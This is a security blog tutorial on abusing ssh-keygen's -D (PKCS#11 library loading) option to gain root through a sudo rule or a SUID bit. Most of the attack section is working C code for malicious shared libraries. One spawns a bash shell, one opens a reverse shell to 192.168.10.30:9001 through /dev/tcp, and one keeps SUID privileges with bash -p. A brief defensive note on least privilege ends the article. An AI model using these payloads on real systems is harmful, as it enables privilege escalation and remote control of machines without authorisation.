Skip to content

Abusing ssh-keygen

SSH-Keygen is a tool that allows you to create and manage SSH keys, this tool is present in most UNIX systems today as a tool to facilitate the management of SSH keys.

In this article we will explore some methods to abuse this tool with certain configurations as a method of persistence or privilege escalation on the system.

In particular, we will abuse a specific functionality of this binary that allows the loading of public keys from a card reader library, this option is the -D parameter, its use is as follows:

ssh-keygen -D ./lib.so

How to generate the payload

Now that we've explained how to use this function, let's look in more detail at how to generate a loadable payload, for which we'll first need to obtain a version of pkcs11.h . This header file is where we define the data types needed for the function of our library that will call ssh-keygen when using the -D parameter.

In our case, we will go to the Open Smart Card repository and download the version we need from the following URL:

GitHub - PKCS11

With this file we will proceed to write a small program in C with the necessary structure to be executed by ssh-keygen, in our case this program will spawn a bash shell.

#include "pkcs11.h"
#include <stdio.h>
#include <unistd.h>

CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {

    pid_t pid = fork();

    if (pid == 0) {

        char *cmd = "/bin/bash";
        char *args[] = {cmd, NULL};
        execv(cmd,args);

   } else if(pid > 0) {
        wait(NULL);
    } else {
        perror("fork");
        return 1;
    }

    return CKR_OK;
}

Once compiled we can load it as a library as indicated in the introduction.

Profit

Case 1: Sudo SSH-Keygen

Let's take advantage of a scenario where our user has permissions to execute the ssh-keygen command as root.

Matching Defaults entries for pnavas on test:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin,
    use_pty

User pnavas may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /usr/bin/ssh-keygen

In this case, instead of using a simple bash call, we will load a reverse shell.

#include ‘pkcs11.h’
#include <stdio.h>
#include <unistd.h>

CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {

    pid_t pid = fork();

    if (pid == 0) {

        char *cmd = /bin/bash;
        char *args[] = {cmd, -c , bash -i >& /dev/tcp/192.168.10.30/9001 0>&1, NULL};
        execv(cmd,args);

   } else if(pid > 0) {
        wait(NULL);
    } else {
        perror(fork);
        return 1;
    }

    return CKR_OK;
}

As a result, when we load it, we will get a root connection in our listener, we could modify it to run a shell simply as in the example in the theory section

Case 2: SSH Keygen SUID

In this scenario we are going to exploit a slightly less common scenario where ssh-keygen has the SUID bit set, in this case to keep the SUID privileges we need to change the library code a bit so that the shell keeps the privileges

#include ‘pkcs11.h’
#include <stdio.h>
#include <unistd.h>

CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {

    pid_t pid = fork();

    if (pid == 0) {

        char *cmd = /bin/bash;
        char *args[] = {cmd, -p, NULL};
        execv(cmd,args);

   } else if(pid > 0) {
        wait(NULL);
    } else {
        perror(fork);
        return 1;
    }

    return CKR_OK;
}

Once compiled, we can run the command to load the library and get a shell with the necessary privileges.

Final Thoughts

As demonstrated, ssh-keygen is a powerful tool that, when misconfigured or misused, can become a significant security risk. The scenarios presented in this article highlight the importance of properly configuring and restricting access to binaries with elevated privileges.

By understanding and proactively managing the capabilities and risks associated with common tools like ssh-keygen, administrators can ensure the integrity and security of their systems.

Note

Always adopt the principle of least privilege and conduct regular security audits to minimize attack surfaces.

Stay safe. Stay smart. Stay secure.